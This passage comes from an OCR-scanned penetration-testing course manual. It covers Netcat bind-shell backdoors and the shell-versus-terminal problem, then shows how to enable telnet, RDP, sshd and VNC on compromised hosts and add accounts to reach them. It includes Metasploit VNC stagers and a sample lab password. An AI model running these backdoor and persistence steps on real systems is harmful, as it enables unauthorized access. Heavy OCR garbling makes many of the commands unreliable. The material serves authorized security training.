cannot access from your Linux machine. That could be a bigger problem, but there are workarounds 
for editing files, which we'll cover later. In Windows, at the cmd.exe, close the file editor by hitting 

Ese, then ALT-F, and then ALT-X. When it prompts you to save, use the arrow keys to move to 
"No" and hit ENTER. In your Linux window, you should get your command prompt back. If not, 

re-run the Netcat client (nc 10.10.76. [X] 2222). 

Here's a big problem: 

C:\> runas /u:adininistrator cmd.exe 

This incredibly useful command, which runs another command as another user (akin to the 
Linux/Unix sudo command), won't work from a non-terminal shell. It just falls through the password 

prompt, never giving you a chance to enter a password. 
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Even More Problem-some
Terminal Commands on Windows

File Edit View Terminal G

C:\>wniic process list full

p

punt

soft Windows XE [Version 5.1.2600]

\'sc qc t].ntsvr

sr qc tintsvr

[Sc] CetServiceConfig SUCCESS

RVICE_NAME: tintsvr

tYPE

START_TYPE

ERROR_CONTROL

BI NARY_PATH_NAHE

LOAD_ORDER_GROUP

He
t\WINDOWS\syst

C:\> c:\tools\ncexe L -p 2222 e cmdexe

10 W1N32_OWN_PROCESS

4 DISABLED

1 NORMAL

C:\WINDOBJS\system32\tlntsvr .exe

D
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Another very useful command that messes up non-terminal shells is WMIC, the Windows
Management Instrumentation Command-line tool. This command can be used to interact with
Windows machines at a very fine-grained level, pulling detailed information about the system and
updating its configuration. One useful option in WMTC involves getting a list of running processes,
with all of their details:

C:\> wmic process list full
Unfortunately, WMIC interacts with standard output using various Unicode sequences that cause a
simple shell to become unresponsive. Try that command and see what happens. You likely will have
to hit CTRL-C, and then relaunch your Netcat client (nc 10 . 10 .76. [X] 2222) again.

Another useful command that messes up a shell for some of its uses is se (Service Controller). For
most uses, it works, like listing all Windows services:

C:\> sc query
lt also works when listing the details of an individual service:

C:\> sc qc tlntsvr
This command lists the status of the Telnet service on the machine. But, if you simply run either of
the following to get a list of sc's command options:

C:\> sc
C:\> Sc I?

.the se command will hang (on most, but not all, versions of Windows), making your shell
unresponsive. On Windows machines with some sets of patches, the se command actually works
reasonably well within a shell. Sadly, though, this behavior changes from month to month as
Microsoft releases patches.
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Using Netcat for Shell Access 
to Linux Target 

. 

. 

.... 
Kill your Netcat listener on Windows 

Next, let's move to a Linux target, 
illustrating the same kind of problem 

- Start with Linux running Netcat to provide 

a shell back to Windows 

Attacker 
running 

Windows 

commands 

responses 

Neteat listener 
providing shell 

access 

loo 

Linux Target 
Machine 

# nc 1 -p 4444 e /bin/sh 

Stop your Windows Netcat listener by closing the cmd.cxe that it is running in (click the X 
in its corner). We're finished with the Windows command shell portion of this exercise. 

Next, let's flip things around a bit, looking at some commands that could cause issues with 
Linux shells. For this part of the exercise, we'll run a Netcat (ne) listener on our Linux 

machine, listening (-1) on TCP port 4444, and executing (-e) a standard Boume shell 
(Ibinlsh) when someone connects. Note that Netcat on Linux does not have a L option for 

a persistent listener. Instead, if you drop the connection, Netcat on Linux simply stop s 
running. You'll have to re-start it by running the command again. 

We'll use a Netcat client on Windows (nc.exe) to access our Linux command shell. 

Deactivate your firewall on Linux by running the command: 

# service iptables stop 
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The Shell vs. Terminal Dilemma
Illustrated on Linux

32\cmd.
C:\> cd c:\too1

i

C:\tools> nc 1@.1LTh.2 4444

U/Linux

Wit
3Suuftpdexp10 it-uS targz
iLE
iypt-CBC-2 .12
I

Edit View Lerminal Go eIp

-p 4444 -e /bin/}

nux 2.4.2i-46.9.1egacy UI Thu Mar 2 16:11:28 E
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To start this portion of the exercise, in Step 1, on Linux, invoke a Netcat listener (nc 1) to listen on
local port (-p) 4444, cxccuting /binlsh (-e /binlsh) when someone connects.

* nc 1 p 4444 e /bin/sh

) Then, in Step 2, in a Windows cmd.exe, access that command shell by typing:

) C:\> cd c:\tools

) C:\> nc [YourLinuxlPaddr] 4444

)
When the connection is made to a Netcat backdoor listener on Linux, no command prompt is
displayed. That's an important difference to note between Windows and Linux when it comes to

) Netcat backdoors. Windows displays the familiar C: \> prompt (along with the Microsoft copyright

) notice displayed when the shell is invoked). Linux shows no prompt when used in this fashion.

Even though theré is no prompt, however, we can issue command to the target machine. Try the
) following in Steps 3, 4, and 5:

) uname -a

) This command displays details about the system, including its name and system type. The output will

) just be dumped in your shell display underneath the command you typed. Next, try:

)
who ami

You will see that you are running a shell with the privileges of the user who invoked the Netcat
listener, which makes sense, given that the Netcat listener spawned the shell process.

)
) Try other commands, such as is, ifconfig, cd, and so on. Most wili work just fine.

)
)
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Determining Your Terminal 
Status in Linux 

To determine if you have mere shell access or a true 
terminal on a Linux or Unix environment, you could type: 

tty 
If you see a ¡dey entry, that is your current tty and you 

have a terminal 
If you see "not a tty", you just have a shell 

:\WINDQWS\syst 

*:\>nc 1@1@..75.2 4444 

hot a tt 

File Edit View Temiirial Go Help 

nc -1 -p 4444 -e /buin/sh 

Many Linux and Unix systems offer us a convenient command for determining whether we 
are running commands in a terminal or just a shell. The tty command shows the current 

terminal device you are using. If tty displays output like "/dcv/pts/1", you have gotten 
terminal access to the machine. If tty says "not a tty", you have mere shell access. 

Test this with your Linux shell by typing (into the Netcat client on Windows connected to 
the Netcat listener on Linux running a shell): 

t ty 

One of the first things that some extra careful penetration testers do when gaining some 
form of command-line access to a Linux machine is to run t ty to double check whether 
they have a terminal or a shell. The results of this command will help inform the tester 

which other commands to use and which to avoid. Let's now look at some of the command 
that could cause problems with terminal-less shell access on Linux and Unix. 
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Most Linux and Unix commands work just fine with either a shell or a terminal. But, there arc
a few useful commands that will cause problems. Editors, in particular, often rely on terminal
control sequences. From your Windows screen running the Netcat client connected to the
Linux Netcat listener that invoked /bin/sh, try invoking vi, the very common Unix and Linux
file editor:

vi
You'll see a warning that output is not to a terminal, nor is input from a terminal. Then, a
bunch of terminal control sequences will be displayed on your output. Hit CTRL-C to get out
of the Netcat client. Note that your listener on Linux will stop running as well (remember, there
is no L option for a persistent listener on Linux).

Re-run the Linux listener (nc 1 -p 4444 e /bin/sh). Then, re-run the Windows
command to connect to it (nc [YourLinuxlPaddr] 4444).

The emacs editor has troubles as well. Invoke emacs as follows:
emacs fiie.txt

This editor will open a whole new window on Linux displaying the file, rather like we saw with
edit in Windows. In Linux, close the window by using your mouse and going to File-*Exit
Emacs. If your Netcat listener stops running, start it up again and connect to it from your
Netcat client on Windows.

Next, try running the man command, which will show instructions about the options for various
commands:

man is

The terminal control sequences in the man program look ugly when displayed in a non-terminal
shell.
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Even More Problem-some 
Terminal Commands on Linux 

- 
cgetattro> failed: mua 

[M;IH 

V 

less /etc/passwd 
oot :x:@:Ø:poot :/root :/bjn/bash 
in :x:1 :1 :bin :/hin :/shin/nologin 

aenon :x:2 :2 :daejiìon :/sbjn :/shjn/nolrj9in 
dm:x:3 :4:adn:/uap/adn:/sbin/nologin 

lp:x:4:7: lp:/var/spool/lpd;/sbin/nologin 
nc :x:S :@:snc :/shjn :/JJin/59nc 

hutdown :x :6 :Ø:shutdown ;/sbjn : /sbin/shutdown 

FHe Edit View Terminal Go Help 

X 

c C:\WINDU 

Iloalili 

:\)nc 1.1.75.2 4444 C 

r- 

r-- 

r-- 

( 

r 
r-- 

The more command, which can be used to paginate input or a file, doesn't work from 
within a mere shell, and will mess up the shell making it unresponsive. Try running 

more /etc/passwd 

The command won't show you anything. Then, try to run another command, such as: 

whoami 

Your subsequent command won't work, because more made your shell unresponsive. 

r-- 

Hit CTRL-C to drop the connection. On Linux, restart your Netcat listener (nc -1 -p C 
4444 e /bin/sh), and from Windows connect to it again (nc 

[YourLinuxlPaddr] 4444). 
C 

Now, try running the less command, another general-purpose paginator that can be used 
C 

to display the contents of a file. While more will not display a file and messes up a shell, 
the less command will display the file. It won't paginate the file, but it will display file 

( 

contents while keeping your shell responsive. Test this by running: 

less /etc/passwd 

who ami 
t- 

Some additional commands that have issues on Linux when run from a shell include top. 
This command displays a list of running processes, updated in real time. When run from a 

terminal-less shell, it prints out an error message. However, after top fails, you can still 

enter new shell commands. Try it: 

top 
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The su and sudo commands
on Linux
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4 nc -1 -p 4444 -e /bin/sh
Password :1

L

X"

Two other commands that are problematic within a terminal-less shell are su and sudo. The su
command lets you "substitute user", getting access to the machine with another set of login
privileges. From within our shell, we first check our current login name (with whoami), and, if we
are root, we can su from our existing root login down to another user's account without difficulty:

whoaini

su student

This worked just fine, because we did not have to provide a password. But, if we try to su back to
root (which would require us to enter a password), the su command will tell us that standard input
must be a tty (a terminal) for us to use the command. We can then check with whoami to see that
our su back to root failed.

su -
whoami

The sudo command, which can be used to run another single command with the privileges of
another user, likewise has problems. Try running it to execute ¡bin/sh (another shell) as root:

sudo /bin/sh

When you do this, look at your Linux Netcat listener. Note that it pops up a"Password:" prompt.
You cannot type the password in your Netcat client on Windows and get sudo to accept it when
invoking it in this way.
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If You Have Extra Time: 
Analyze telnet and ssh Clients 

..:.:: 

Telnet and ssh clients expect that they are 
being run from a terminal 

- Especially to escape entry of a password 

- Thus, authentication via telnet or ssh from a raw 
shell can be a problem 

U 
sbCll 

access 

Conquered 
Target 

elnet or ssJi 

Next Target 

- If you have extra time during this exercise, run 
Netcat on Windows - Netcat shell on Linux - 
telnet or ssh to 10.10.10.50 
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Another set of commands that have problems with this shell versus terminal dilemma are 
telnet and ssh clients. Each expects that it is running inside a terminal, and will usually fail 

if it is run from within a raw command shell. This issue affects penetration testers and 

ethical hackers who have compromised one machine, a given conquered target, and want to 

use it as a pivot point to attack the next target via telnet or ssh. Both telnet and ssh clients 
often hang when executed from within a raw shell, or they simply drop you back to the shell 

prompt on the current conquered target, without even prompting you for authentication on 
the next target. 

If you have extra time during this exercise, you may want to experiment with trying to ssh or 
telnet from a shell on your Linux machine against target 10. 10.10.50. Set up a Netcat 

backdoor listener on your Linux system, which you access from your Netcat client on 
Windows. Go from Netcat on Windows to a shell on Linux. Then, try to use that shell to 

telnet or ssh to 10.10.10.50. You can try a userlD of bob, and a password of nuggetnugget 
on 10.10.10.50 to see if it works. 
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OK, so we've got a bit of a dilemma: many exploits give us a raw shell, but a lot of the tools
we want to use are terminal-oriented. Being aware of the problem is important, so that we
don't inadvertently type in terminal commands into a mere command shell, and then
accidentally lose access to our often hard-fought command shell on a system. But,
awareness of the dilemma is just a start.

How can we deal with this dilemma, either by avoiding it or conquering it? Professional
penetration testers and ethical hackers have some useful options that we'll explore next.
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108 

Dealing with the Shell vs. 
Terminal Dilemma 

How can we handle this dilemma? 

- Option 1: Command-by-command workarounds 

- Option 2: Use shell access to enable terminal access 
Both options are good 

- For short-term, quick access, Option i is better 

- For longer-term, more fine-grained analysis, Option 2 is 
better 

- But, Option 2 has baggage - it could involve system 
reconfiguration and/or the introduction of security 

weaknesses 
Make sure such changes are allowed by the Rules of Engagement 

rk Pen Testing & Ethical I lacking li Rights Reserved 103 

To handle this shell vs. terminal dilemma, penetration testers and ethical hackers often turn 
to one of two options. The first option is to avoid commands that cause problems within 

shells, and use work-arounds, similar commands that achieve nearly the same purpose on 
the target machine within a raw shell when terminal access is not available. Option 2 

involves using the shell access the tester has gained to tweak the target machine to enable 
follow-on terminal access to the box. 

Both options are very reasonable, and penetration testers and ethical hackers may employ 
either approach depending on what they need to achieve for a given system or an overall 

test. If short-term access is needed to a machine to capture some important information and 
then leave the box alone, Option I (carefully selecting command-by-command substitutions) 

works just fine. But, if longer-term, repeated access and fine-grained analysis of a target 
machine is required, Option 2 (using shell access to get terminal access) is a better approach. 

Some words of caution are necessary for Option 2. Enabling remote terminal access often 
involves changing the configuration of a machine, possibly introducing security weaknesses 

and new points of attack against the system. Thus, before changing the configuration, make 

sure that such changes are allowed by the Rules of Engagement. When in doubt, check with 
target environment personnel to make sure your changes are acceptable for the test before 

making them. 
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Windows Option 1:
Command-by-Command Workarounds

You may want to test commands on a local
system with the same Windows version as
the target where you've got shell access
- Just to verify how each command behaves

Still, here are some useful substitutes:

Network Pen Testing & Ethical I lacking - ©2009, All Rights Reserved 109

When you gain shell access of a target machine, you may want to have the same version of
Windows in your own lab so you can test out a command on your local machine before running
it on the target system to make sure it behaves as you expect.

For Option i on Windows, here are some command-by-command substitutions that work just
fine within a shell, mimicking the functionality of commands that are more suited to terminal
access.

To clear the screen, instead of using cis, instead just hit Enter several times. This may seem
silly, but it is helpful in making the results of different commands, as well as screenshots for
final reports, look much better.

Instead of using the edit command to edit a file (or Notepad for that matter), you can build a
file line-by-line using the echo command and then appending (») each line to the file. Note
that when using the Windows echo command, you do not surround the text you want to echo
with quotation marks ", like you would in Linux or Unix. Windows echo will actually echo the
quotes, so leave them off unless you want them in the file.

109

Command Purpose Possible Workaround(s)

C: \> cis Clear screen Hit Enter several times

C:\> edit Edit file Use echo txt » f ile.txt
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Windows Option 1: More 

As a replacement for runas, you could schedule ajob to run as another user with the 
schtasks command, configuring the system to run it two minutes in the future, for 

example. The schtasks command lets you choose a specific user account to run the job 
as. Alternatively, you could use the at command to run ajob with local SYSTEM 

privileges. The schtasks and at commands are a cumbersome replacement for runas, 
because you have to wait for a minute or two for the scheduled job to start up. However, 

this approach works, provided that the tester's shell has admin or SYSTEM access to be 
able to schedule a job. For details of the syntax of schtasks or at, simply run each 

followed by a /?. 

Although WMIC is one of the most useful commands in modern Windows environments, 
we can use a variety of other, lesser commands to mimic much (but not all) of its behavior. 

For managing users, we could use the net user command. Group membership can be 
listed and changed using net locaigroup. For listing and stopping processes, we could 

use tasklist and taskkill, respectively. For managing services, we can use the net 
start command or the sc command (although be careful -- some invocations of sc will 

cause a shell to become unresponsive). To read or make changes to the registry, we could 
use the reg command. As you might expect, help/directions for each of these commands is 

available by typing the command name followed by a I?. 

The shell problem with telnet clients can be avoided by using Netcat as a client instead of 
telnet. Netcat, when invoked with a t option, can perform telnet-style terminal negotiation 

from within a shell with a target telnet server. 
To avoid shell problems with ssh clients, your best bet is to enable some form of terminal 

access on the target machine, and then ssh from it. 
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Command-by-Command Workarounds 
Command Purpose Possible Workaround(s) 

C: \> runas Run a command 

as a different 

user 

1) Just avoid this 
2) Schedule a job using schtasks 
or at command 

C: \> wmic Numerous uses - 
fine-grained 

system 
management 

Use a series of alternate commands: 
net user (for user mgmt) 

net locaigroup (for user mgmt) 

taskli st / taskki ii (for process) 

net start or sc (for service) 

reg (for interacting with the 
Registry) 

C: \> telnet telnet to next 
host 

Use a Netcat client with the t option 

C: \> ssh 
Network I-'en 

ssh to next host 
I esting & 1th1ca1 t 

Get terminal access 
iac1ing )ZUU9, ÍIi flights Keserved 
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Windows Option 2:
Enabling Terminal Access

To enable remote terminal access on a Windows
machine, we have several options:
- Activate telnet service
- Activate remote desktop / terminal services
- Install SSH daemon
- Install VNC

Be careful with any of these...
- You have changed the configuration
- You may introduce a new security flaw
- A malicious attacker may piggy-back in on your new access
- Make sure Rules of Engagement allow this
- Clean up when you are done - shutdown services and

u n install

Nctwork Pen Testing & Ethical Hacking ©2(ì()9, All Rights Reservec

With Option 2, we could usc our shell access on Windows to enable some form of terminal
access of the target machine. There are numerous methods for doing just that, but four
approaches are the most common. Two involve using built-in Windows software, included
on most modern Windows operating systems: activating the telnet service or remote desktop
service (for remote GUI control, in which you could invoke a cmd.exe to get terminal
access). The other two involve installing separate software on the machine: installing a
Secure Shell (SSH) daemon or Virtual Network Computing (VNC) server. We'll discuss
each of these approaches briefly.

Regardless of the approach you use, realize that you are changing the configuration of the
machine with any of them, and installing new software with some of them. Each of these
approaches increases the attack surface of the target machine - you may introduce a new
security flaw that a real bad guy could use to riçk in on your coattails, piggybacking on your
access to take over the target machine. Thus, you have to be very careful to make sure that
1) such configuration or software installation changes are allowed in the Rules of
Engagement for the project, 2) the target personnel are aware of your planned methodology
for doing this, and 3) you carefully clean up afterward by shutting down services and
uninstalling any software you put on the target.

111

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


112 

Windows Terminal Access: 
Activating WI ndows Telnet Service 

Activating the Windows telnet service and making it usable 
involves several steps: 

- Enabling the service 

- Configuring an account to use the telnet service 

- Configuring the Windows firewall to allow the inbound access 

- WATCH OUT! Clear-text authentication! 

Check current status of service: 
C:\> Sc query tlntsvr 

Change startup type to demand (a manually started service): 

C:\> sc conf 1g tlntsvr start= demand 

Turn service on: 
C:\> sc start tlntsvr 

Pen 'Te g Ethical I lacking All Rights Reserved 
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Successfully activating the Windows telnet service from the command-line involves several 
steps, including enabling the service, configuring an account to use it, and configuring the 

Windows firewall to allow inbound telnet access. But, remember, we have to be careful 
with this, because telnet sends user IDs and passwords in clear text across the network! 

First, we'll check to see if the service is already running. If its state is "RUNNiNG", there 
is no need to start it again: 

C:\> sc query tlntsvr 

We then change the service's startup type to demand. We have to do this, because a 
"disabled" service cannot be started. Services marked as "demand" will need to be 
manually started (by the pen tester, also using the se command). Alternatively, we could 

specify a startup type of "auto", with the automatic setting ensuring the service restarts after 

every reboot. It is safer to set it to "demand", because we can start it manually, without the 
service being activated automatically on a future reboot: 

C:\> sc conf 1g tlntsvr start= demand 

The se command is pretty picky about its syntax. Make sure you enter this as "start= 
demand". There must be a space between the = and the demand, and no other spaces in 

there. 

We then activate the service with this command: 

C:\> sc start tlntsvr 
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Enabling Telnet Service -
Finishins the Task

Make sure you have an account to login to the
machine:
C:\> net user [username] [password] /add

Put account in the TelnetClients group:
C:\> net localgroup TelnetClients /add

C:\> net localgroup TelnetClients [username]
/ add

Configure firewall to allow inbound access on TCP 23
C:\>netsh firewall add portopening protocol =
TCP port = 23 naine = telnet mode = enable
scope = custom addresses = [yourlPaddress]

Nct\vork Pen 1Tcstin & Ethical I lacki U)), \ll 1ih S Reserved 113

Of course, if we are going to telnet in, we need an account to do so. 1f you already have an
account, you could use it for access. Or, you could create a new account with:

C:\> net user [userna.me] [password] /add

On some versions of Windows, anyone in the Administrators group can telnet in. On other
versions of Windows, a given account must be placed in the TelnetClients group to be able
to telnet in. Thus, let's put our new account in the TelnetClients group to make sure it can
get access on all modem versions of Windows. We start by creating the group:

C:\> net localgroup TelnetClients /add

If the group already exists, we'll get a message saying so. We then add our new account to
this group:

C:\> net localgroup TelnetClients [username] /add

Finally, we need to configure the Windows local firewall to allow inbound telnet. We can
do this with the nctsh command as follows.

C:\> netsh firewall add portopening protocol = TCP port
= 23 name = telnet mode = enable scope = custom
addresses = [yourlPaddress]

You can put in the source TP address you plan on tclnctting from in this command, which
will configure Windows to allow telnet connections only from that IP address, lowering the
chance of a real bad guy following you in (but not eliminating that possibility entirely).
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Windows Terminal Access: 
Activating Remote Desktop Service 

Activating Windows Remote Desktop I Terminal Services involves similar 
steps to what we used with the telnet service 

- But, there are some subtle differences in commands and syntax 

Check current status of service: 

C: \> sc query termservice 
Change startup type to demand (a manually started service): 

C:\> sc conf ig termservice Start= demand 

Turn service on: 
C:\> sc Start terinservice 

Set Registry Key to enable terminal services access: 

C: \>reg add "hklm\system\currentcontrolset\control\terininal 
server" /v fdenytsconnections ft reg_dword /d O 

twork Pen lTestir d;hícal Il acki tì 

The process of activating the Windows Remote Desktop / Terminal Services service is 

conceptually similar to the process used for enabling telnet. However, there are some subtle 
differences in the syntax and the commands we usc. 

Again, we first check to see if the service is already running If its state is "RUNNING", 
there is no need to start it again: 

C:\> sc query termservice 

If the service is not running, we can change its startup type to demand (to make it a 
manually started service) as follows: 

C:\> sc conf ig terinservice start= demand 

C:\> sc start termservice 

On most Windows machines this service is already started. However, on many Windows 
machines, by default, the system is configured to deny terminal services connections from 

Remote Desktop clients. This setting is controlled by a registry key called 
fdenytsconnections, which is set to i to block access. We need to change its value to O to 

allow such connections, which we can accomplish with the reg command as follows: 

C:\> reg add 
"hklm\system\currentcontrolset\control\terminal Server" 

Iv fdenytsconnections It reg_dword /d O 
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Enabling Remote Desktop -
Finishing the Task

Check to see if it is listening:
C:\> netstat -na find "3389"

Make sure you have an account to login to the machine:
C:\> net user [username] [password] /add

Put account in the "Remote Desktop Users" group:
C:\> net localgroup "Remote Desktop Users"

[username] /add

Configure firewall to altow inbound access for RDP:
- C:\>netsh firewall set service type =
remotedesktop mode = enable scope = custom
addresses = [yourlpaddress]

Network Pen Testing & Ethical hacking - ©2009, All Rights Reserved i

With the service running and the fdenytsconnections registry key set, the system should start
listening on the default port for terminal services / remote desktop, which is TCP 3389. Wc
can check to sec if that port is now listening using this command:

C:\> netstat na find "3389"

Next, we'll need a logon account to access the system via RDP. 1f you already have an
account, you could use it for access. Or, as before, you could create a new account with:

C:\> net user [username] [password] /add

We need to add our account to the "Remote Desktop Users" group so that it will be allowed
access. We can do so as follows:

C:\> net locaigroup "Remote Desktop Users" [username]
/add

Finally, we need to configure the Windows local firewall to allowinbound remote desktop
access. We can do this with the netsh command as follows.

C:\> netsh firewall set service type = remotedesktop
mode = enable scope = custom addresses = [yourlPaddressJ

Again, we are configuring the firewall to allow such connections only from the tester's IP
address, lowering the chance of a criminal piggybacking in via our activities (but not
eliminati ng that possibility entirely).
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Installing Sshd on Windows 

To get sshd, you could install all of Cygwin, but 
that is a lot of software and overhead 

Instead, you could install a minimal OpenSSH for 
Windows, that includes SSH, SCP, SFTP 

functionality - Welcome to the Ùpnll for 
Woof ows 38. ipI -1 Selup Witard 

o wtorssoi csstII. Wflt,.SJbd-l. 

o 4d8w wOo..Isdo, oowo, 
&,tss5&w. wWttaLg so So 

Freely available at 
sshwindows.sourceforge. net 

- A GUI-based wizard installer 
package (ugh!) 

- But, we only have shell access, 
so we can't use GUI installer 

There are many options for installing a Secure Shell daemon on Windows. Some 
administrators within enterprises install a full version of Cygwin, a free POSIX environment 

for Windows available at www.cygwin.com, which includes sshd. However, a full install of 
Cygwin includes many additional tools a pen tester does not require, and consumes dozens 

of Megabytes of space. That's clearly overkill for a pen tester who simply wants to get 
terminal access of a target machine. 

A better option involves installing a minimal Cygwin environment customized just to 

support sshd. An excellent sshd tailored for Windows in this way is freely available at 
sshwindows.sourceforge.net. The package is 2.4 Megs. Installed, it takes about 4.7 Megs 

of hard drive space. That's not small, but it certainly has a leaner footprint than a full 
Cygwin install. The package supports SSH, SCP, and SFTP functionality. That's the good 

news. 

The bad news is that the free package installer works as a Windows GUI tool, popping up an 
installation wizard. Of course, ifa tester is working from a shell, he or she doesn't yet have 

GUI control to be able to interact with the wizard installer. 
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Installing Sshd on Windows
(2)

Getting around the GUI-based installer wizard dilemma:
- Install the package locally in lab, watching installation with

Microsoft Sysinternals Filemon and Regmon utilities
- Grab all associated EXEs and DLLs from installation on lab system
- Use the reg /export command to get a copy of all registry keys

set by the installation package on lab system
- Copy files to target box and use reg /import command to

import reg keys

Don't forget to configure the firewall to allow inbound TCP
port 22
C:\>netsh firewall add portopening protocol = TCP port =

22 name = sshd mode = enable scope = custom addresses =
(yourlPaddress]

Network Pen Testing & Ethical Hacking ©2009, All Rights Reserved

This issue arises frequently on Windows. A tester wants to install a tool that requires a GUI
installation wizard, and the tester only has command shell access to the target. We can get
around this problem using the following process:

Install the Microsoft Sysinternals Filemon and Regmon tools on a lab Windows
machine. These free programs capture information about all file system and
registry access while the install program is running.

Invoke the installation wizard on the local lab machine.

Note its interactions with the file system and the registry.

Grab a copy of all files and DLLs the installer puts on the lab system.

Use the reg /export command to get a copy of all of the registry key
settings associated with the installation on the lab system.

Move the files to the target machine, and use reg /import to set the registry
keys.

Start the service using the net start or sc command.

This process applies to tools beyond sshd and is very helpful in remotely installing arbitrary
software packages manually using only a command shell on Windows systems.

Once you have installed the sshd in this way, don't forget to enable the Windows firewall to
allow inbound TCP port 22, using the same command we covered for telnet, but with the
port changed from 23 to 22.
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Getting VNC Server onto 
Windows 

VNC provides remote GUI 
access of a target system 

- Client and server available 
for Windows or Linux/Unix 

VNC .aewer Free Fthtion 
VNC access to a Windows 

target machine can be 
achieved using: 

- A Metasploit VNC payload (if the L 

target system has an exploitable 
vulnerability), or 

- Installation of VNC from a 
command shell 

Ele Ed4t View Terminal o Help 

ed ¡home/toeln/vnc-4j_2-x861iflux 
/VBCviewer 

am ï ba:lt May 

XE 

Virtual Network Computing (VNC) provides remote access of a system's GUI across the 
network. RcaIVNC offers a free implementation of a VNC viewer and a VNC server for 

both Windows and Linux/Unix, and is included on the course DVD for both platforms. 
With control of a target system's GUI, a tester can launch a cmd.exe window to gain 

terminal access to the target machine. Some people may consider taking over the target 
system's GUI to get terminal shell access via cmd.exe to be overkill, but the technique can 

be helpful to penetration testers. 

Two methods are often employed to get a VNC server installed on a target Windows 
machine. First, a tester could use a Metasploit VNC payload with an exploit of the target 
machine, provided that the target system is vulnerable to a Metasploit exploit. Alternatively, 

an attacker could use existing command shell access of a target machine to install and 
launch VNC from the command line. Let's explore each of these options. 
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Metasploit VNC Payload -
Different Stager Options

Within Metasploit, the vncinject stage can use any
of the stager options, resulting in:
- vncinject/bind_tcp: Listen on chosen TCP port:
- vncinject/reverse_tcp: Reverse shell back to attacker
- vncinject/reverse_htt:p: Use PassiveX running inside of

JE to carry VNC traffic back to attacker
- vncinject/find_tag: Use existing communications

session to carry traffic
- vncinject/reverse_ord_tcp: Use Windows library already

in exploited Windows process for communication back
to attacker

Network Pen Testing & Ethical ilacldr

The Metasploit vncinjeet stage, as its name implies, injects a DLL containing VNC
functionality into a running process on the target machine, giving the attacker remote GUI
control over that system from within the exploited process. Once loaded into the target
system's memory, the vncinject payload can interact with several stagers for carrying the
VNC traffic, resulting in the following stager/stage payload combinations:

vncinject/bind_tcp: With this option, all VNC communication occurs over a
listening port chosen by the attacker.

vneinjeet/reversetcp: Here, a reverse connection is made from the \TNC server
back to the attacker's machine, shoveling the GUT back to the attacker.

vneinject/reversehttp: This very handy option carries VNC traffic via HTTP by
running PassiveX to shuffle communications from VNC server via Internet
Explorer running on the victim machine, sending VNC traffic to the VNC viewer
on the client's system.

vncinject/find tag: This option carries VNC traffic over the already-established
TCP connection used to deliver the exploit between the attacker and the target.

vncinject/reverseord_tcp: The reverse ordinal TCP stager uses network
communications code (the ws2 32.dll) that Windows usually loads into the
memory of network-communicating processes to carry a reverse connection back
to the attacker. The payload doesn't include any new networking code, but
instead makes calls into Windows libraries already loaded into memory.
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Command Line Install of W1nVNC 

First, insta Il VNC on a lab system 
Then, configure it by running: 

C: \> "c: \Program Files\Rea1VNC\VNC4\vncconfig. exe' -service 

- Set password and limit inbound IP address 
jvsc eve Piopoeti. (eoIt 

Shann Dendo Ctme Method 
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r Notholhentoo8on 

l VNC Ponsem,dAolhenlioabon Coehgore 
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r Prompt Mo one, to oncept cor enhono 
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j OK 
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Shonng Donktop CreArne Method 
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Instead of using a Metasploit VNC payload for GUI access, a tester who already has command 
shell access running with administrator or SYSTEM privileges can install VNC on Windows at thc 

command line, using the following process. 

First, the tester can install WinVNC on a laboratory system. This will unpack various files into 
their appropriate location, particularly an important executable and a DLL in the c:\Program 

Files\Rea1VNC\VNC4 folder. 

Second, once the package is installed on a lab system, thc tcster should configure it with the 
settings desired for the target system. These settings can be configured by running the program 

called vncconf 1g with the service option, as follows: 

C: \> "c: \Progra.m Files\Rea1VNC\VNC4\vncconfig.exe" -service 

In particular, it is vital to configure the authentication option for VNC, setting a difficult-to-guess 
password. Also, a tester should configure the "Connections" tab to accept connections only from 

the tester's IP address. You can "Allow" a specific IP address such as 
10.10.10.10/255.255.255.255. Then, you can add a "Deny" everything else with a following rule 

of 0.0.0.0/0.0.0.0. Make sure you delete the default rule, which simply has a "+" because that 
allows connections from anywhere. You can also alter the default listening port of 5900 to some 

other value allowed through a firewall in this window. Once these settings are finished, the tester 
should click OK to save them and close the VNC Server Properties (Service Mode) window. 

O Alomo 1101010 10/255 255255 255 

e4 152l6908/5.255OEO 

C Qoy j 3K 

Change 
listening port 

if you want. 

Make sure you 
delete the default 

"+,, 
Then, add 

"Allow" 
your_IP/ 

255.255.255.255 
And "Deny" 
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Move winvnc4.exe and wm_hooks.dll into the VNC4 directory.
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Command Line Install of
W1nVNC (2)

Export the registry settings from the lab machine:
C:\> reg export HKLM\SOFTWARE\Rea1VNC\WInVNC4 vncf±le.reg

Grab a copy of two files in c:\Program
FiIes\ReaIVNC\VNC4:
- winvnc4.exe and wm_hooks.dII

Then, on the target machine, prepare the
appropriate directories:
C:\> mkdir c:\Program Files\Rea1VNC

C:\> mkdir c:\Program Files\Rea1VNC\VNC4

- Copy winvnc4.exe and wm_hooks.dIl to this directory

Network Pen Testin ical I lackinQ - R)9, All Rights Reserved

For our third step, we need to capture the registry settings that our vncconfig program
created on the lab machine. We can do this with the reg command, which will export the
settings into a file of our choice, which we'll call vncfile.reg:

C: \> reg export HKLM\SOFTWARE\Rea1VNC\W1nVNC4 vncfile.reg

For Step 4, get a copy of the winvnc4.exe and wm hooks.dll files, along with your
vncfile.reg file, from the lab machine, and transmit them to the target machine using a file
transfer mechanism such as tftp, ftp, Netcat, etc.

In Step 5, we need to prepare the target's directory structure to receive VNC. Do this by
making directories on the target machine using your shell access as follows:

C:\> mkdir c:\Program Files\Rea1VNC

C:\> mkdir c:\Program Files\Rea1VNC\VNC4
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W1nVNC Install - 
Finalizing the Task 

Import registry file settings: 
C:\> reg import vncfile.reg 

Register and start the service: 
C:\> cd "C:\Program Files\Rea1VNC\VNC4" 

C:\> winvnc4.exe -register 

C:\> winvnc4.exe -start 

You can verify that it is running: 
C:\> netstat -na find 11590011 

Tweak the local firewall as needed using netsh for 
TCP port 5900 or a custom port you configured 

C:\>netsh firewall add portopening protocol = 
TCP port = 5900 name = vnc mode = enable 

scope = custom addresses = [yourlPaddress] 
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Almost there! In Step 6, use the reg command to import your registry file settings into the 

target machine: 

C:\> reg import vncfile.reg 

Now, we have completed the installation. You can activate the VNC service by first 
registering it and then starting it as follows: 

C:\> cd "c:\program Files\Rea1VNC\VNC4II 

C:\> winvnc4.exe -register 

C:\> winvnc4.exe -start 

Finally, you can verify that VNC is running by checking to see if the port it listens ou is 

indeed listening: 

C:\> netstat -na find "5900" 

If you configured VNC to listen on a different port, tweak the above command to look for it. 
